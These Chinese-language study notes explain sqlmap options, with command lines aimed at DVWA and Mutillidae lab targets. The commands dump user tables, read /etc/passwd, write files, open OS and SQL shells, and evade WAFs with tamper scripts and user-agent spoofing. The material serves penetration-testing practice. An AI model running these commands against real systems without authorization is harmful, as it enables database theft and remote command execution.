本文是对于学习SQLMAP参数的使用的一些笔记,不足之处很多会慢慢改进~
SQLMAP是一款开源的、用于SQL注入漏洞检测及利用的工具,它会检测动态页面中get/post参数、cookie、http头,进行数据榨取、文件系统访问和操作系统命令执行,另外还可以进行Xss漏洞检测。关于其更多的描述这里就不多说了,直接入正题,下面从参数的每个大部分的分类开始讲。
apt-get install git
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap
sqlmap --update
-h或-hh:查看sqlmap的参数信息,双h显示全部
-v:显示详细的信息,有1-6级,默认为1
--version:查看版本信息-d:直接连接数据库服务器,作为数据库客户端使用
-u:后面跟URL地址,最好用双引号括起来,一定要存在变量名称
-l:logfile,将Burpsuite或WEbScarab代理记录的log日志文件提交上来
-x:sitemapurl,将站点地图sitemap文件提交上来
-m:将有多个URL的文件提交上来进行扫描
-r:提交HTTP request信息的文件
-g:用Google去搜索
-c:提交配置文件
sqlmap -u “http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=a&password=hhh&user-info-php-submit-button=View+Account+Details” -p username -f
-p参数只对指定的参数进行注入,在上述命令中指定了对username参数进行注入
-f参数查看指纹信息
cd .sqlmap
将注入命令的-f参数改为--users参数,因为已经查询确定过有注入点所以后面的执行速度会很快:
--banner:查看数据库版本信息
--dbs:查看目标数据库系统的所有库
--schema:查看元数据库,查看到的信息会很多,下面只是其中一个表
sqlmap -d “mysql://user:[email protected]:3306/dvwa” -f --users
sqlmap -m urllist.txt --users
sqlmap -g “inurl:\”.php?id=1\””
sqlmap -r requset.txt
下面以Mutillidae中注入的login为例,启动Burpsuite来截获提交的POST方法:
用gedit保存而最好不用vi,因为格式会改变从而命令执行会出现错误:
在Options>Misc>Logging
sqlmap -l target-log
HTTPS:
扫描HTTPS网站时需要添加参数--force-ssl:
sqlmap -u "https://10.10.10.137/a.php?id=1:8843" --force-ssl
sqlmap -c sqlmap.conf
dpkg -L sqlmap | grep sqlmap.conf
GET/POST都适用,在GET方法中将URL后面的参数部分提取出来就好,在POST方法中需要自己用Burpsuite查看URL和参数的值即可,当然也可以在浏览器中F12打开开发者工具来查看。
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --data="username=1&password=2&login-php-submit-button=Login" -f
--param-del:变量分隔符
默认情况下参数变量的分隔符为&,若为其他符号时要使用变量分隔符。
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --data="username=1;password=2;login-php-submit-button=Login" --param-del=";" -f
--cookie:Cookie头
因为DVWA进入之前需要登录,即要有cookie,所以在对DVWA进行sqlmap查询时需要用到cookie参数。同样,cookie值用Burpsuite可以很方便地查看。
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" -f
Sqlmap会自动检查cookie中的注入点,level至少为2,通过--level 2来执行
Sqlmap检查user-agent的注入点,level>=3
用wireshark的追踪TCP流抓取sqlmap扫描时发送的包,查看其user-Agent:
很多服务器对于user-agent中出现sqlmap字样的都会被过滤掉,因此需要通过--user-agent参数进行修改,可以从刚刚用的Burpsuite中找:
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0"
执行之后可看到user-agent已修改:
--random-agent:
保存在/usr/share/sqlmap/txt/user-agents.txtsqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --random-agent --users
user-agent使用的是该文件中随机的一项:
--host:修改Host头主机内容
Level=5时sqlmap自动扫描
有上面的扫描结果知道,Host为10.10.10.137,直接在上面的命令中添加--host修改为HHH:
--referer:
Level>=3时sqlmap自动扫描:
Referer头显示的是当前页面的URL:
修改为RRR:
--headers:
自定义的HTTP头,每行一个头,大小写区分:
--headers=”Host:HT\nUser-Agent:UA”
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --auth-type Basic --auth-cred “user:password”
--auth-file:
需要PEM格式的证书文件
--auth-file=”ca.PEM”
http(s)代理:
--proxy=”http://127.0.0.1:8087”
--proxy-cred=”username:password”:身份认证
--ignore-proxy:忽略系统级代理设置,通常用于扫描本地网络目标
sqlmap -u “http://10.10.10.137/a.php?id=1” --proxy=”http://127.0.0.1:8087” -f
--delay:
每次http(s)请求之间延迟时间,浮点数,单位为秒,默认为无延迟--timeout:
请求超时时间,浮点数,默认为30s--retries:
http(s)连接超时重试次数,默认3次
--randomize:
长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名--scope:
过滤日志内容,通过正则表达式筛选扫描对象
sqlmap -l burp.log --scope=”(www)?\.target\.(com|net|org)”
sqlmap -l burp.log --scope="(1)?\.10\.10\.(1|10|100|137)" --dbs
--safe-url和--safe-freq:
因为检测和盲注阶段会产生大量失败请求,服务器可能会销毁session。因此可以使用上述两个参数来解决,每发送--safe-freq次注入请求后,发送一次正常请求,即发送几个失败请求后就发送一次正常信息,绕过服务器的检测机制。--skip-urlencode:
默认GET方法会对传输内容进行编码,使用该参数使在GET方法中提交原始字符数据而不进行编码--eval:
每次请求前执行指定的python代码
每次请求更改或增加新的参数值(时间以来、其他参数值依赖)
sqlmap -u “http://10.10.10.137/a.php?id=1&hash=” --eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
--predict-output:
与--threads参数不兼容
根据检测方法,将返回值跟统计表中的内容进行比较,缩小检测范围,提高效率
统计表在/usr/share/sqlmap/txt/common-outputs.txt,其中有版本名、用户名、密码、权限、角色、数据库名、表名、列名等等
--keep-alive:
使用http(s)长连接,避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
与--proxy参数不兼容
--null-connection:
常用于盲注判断,只获取相应页面的大小值,而不是页面的具体内容,降低了网络带宽消耗
与--text-only参数不兼容(也常用于盲注,基于页面内容的比较判断真假)
--threads:
最大并发线程,默认值为1,建议不要超过10,否则会影响站点可用性
与--predict-output参数不兼容
盲注时每个线程获取一个字符(7次请求),获取完成后线程结束-p:指定扫描的参数,其他的参数的注入不会进行,使--level失效
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username"
--skip:排除指定的扫描参数
--level=5 --skip=”id,user-agent”
URI注入点:
sqlmap -u “http://1.1.1.1/param1/value1*/param2/value2/”
--dbms:指定数据库,可以加版本号,提高注入的效率
数据库名如MySQL<5.0>、Oracle<11i>、Microsoft SQL Server<2005>、PostgreSQL等--os:指定目标操作系统,提高效率
如Linux、Windows--invalid-bignum / --invalid-logical:
默认情况下,sqlmap使用赋值使参数值失效
Bignum使用大数使参数值失效
Logical使用布尔判断使参数值失效--no-cast:
默认情况下,sqlmap榨取数据时会将所有结果转换为字符串,并用空格替换NULL结果
老版本mysql数据库对此提取不到数据,因而需要该参数取消这个默认处理方式--no-escape:
默认情况下,当payload中有单引号括起字符串时,为了避免混淆和出错,sqlmap使用char()函数编码来替换字符串,但有些服务器对于编码数据的处理会出错,而这时就需要该参数来关闭此功能
--prefix / --suffix:
添加前缀或后缀
一种情况添加前后缀进行注入:
已知SQL语句:$query=”SELECT * FROM users WHERE id=(‘”.$_GET[‘id’].”’) LIMIT 0,1 ”
sqlmap -u “http://1.1.1.1/a.php?id=1” -p “id” --prefix “’)” --suffix “AND (‘1’=’1”
--tamper:
混淆脚本,用于绕过应用层过滤、IPS、WAF
查看脚本:dpkg -L sqlmap | grep tamper
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --tamper="randomcase.py,space2dash.py" --users -v 3
--level:1-5级,默认为1
每个级别发送不同的xml类型的payload:/usr/share/sqlmap/xml/payloads--risk:1-4级,默认为1、无害
Risk升高可造成数据被篡改等风险默认使用全部技术
B:基于布尔的盲注漏洞
E:基于错误的检测
U:基于UNION联合查询的检测
S:基于堆叠查询的检测(文件系统、操作系统、注册表必须)
T:基于时间的盲注漏洞
--union-cols:
默认联合查询1-10列,随--level增加最多支持50列
--union-cols 6-9--union-char:默认NULL
可以手动指定数值:--union-char 123--dns-domain:
攻击者控制了一台DNS服务器,使用该参数可提高数据榨取的速度--second-order:
不同的情况:在一个页面注入的结果,从另一个页面体现出来
--second-order http://10.10.10.137/b.php-f、--fingerprint、-b、--banner:
查看数据库管理系统指纹信息、DBMS、操作系统、架构、补丁--current-user:查看当前数据库管理系统用户
--current-db:查看当前数据库
--hostname:查看目标主机名
--privileges -U username:查看用户权限,CU为当前用户
--roles:查看角色
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -D dvwa --tables
指定数据库为dvwa,查看它所有的表:
进一步,查看users表中的所有列:
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --columns
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump --batch
--start,--stop指定查看的部分:
在上述命令上加上--start 3 --stop 4来查看3、4条的信息:
无权读取information_schema库时,需要用到暴力破解来扫描
--common-tables:暴力破解表名--udf-inject,--shared-lib:
编译共享库创建并上传至DB Server,一次生成UDF实现高级注入
Linux:shared object
Windows:DLL
查看相关文档:http://www.slideshare.net/quis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857--file-read:
--file-read=”/etc/passwd”
--file-write:
--file-write=”1.php” --file-dest=“/tmp/1.php”
--file-dest参数为存放的路径
--os-cmd:执行一条命令,前提是当前用户有权执行
--os-shell:获取一个shell,前提是当前用户有权执行
--sql-shell:获取sql-shell,前提是当前用户有权执行
对注册表的操作需要相应的Windows权限才能进行
-reg-read:读取注册表--charset:强制字符编码
--charset=GBK
-z:参数助记符
-z “ign,bat,flu”
上述命令参数相当于--ignore-proxy --batch --flush-session
--answer:当遇到指定问题时按指定的选项执行
answer=”extending=N”
--hpp:HTTP parameter pollution
绕过WAF/IPS/IDS的有效方法,特别是对ASP/IIS和ASP.NET/IIS--wizard:命令参数向导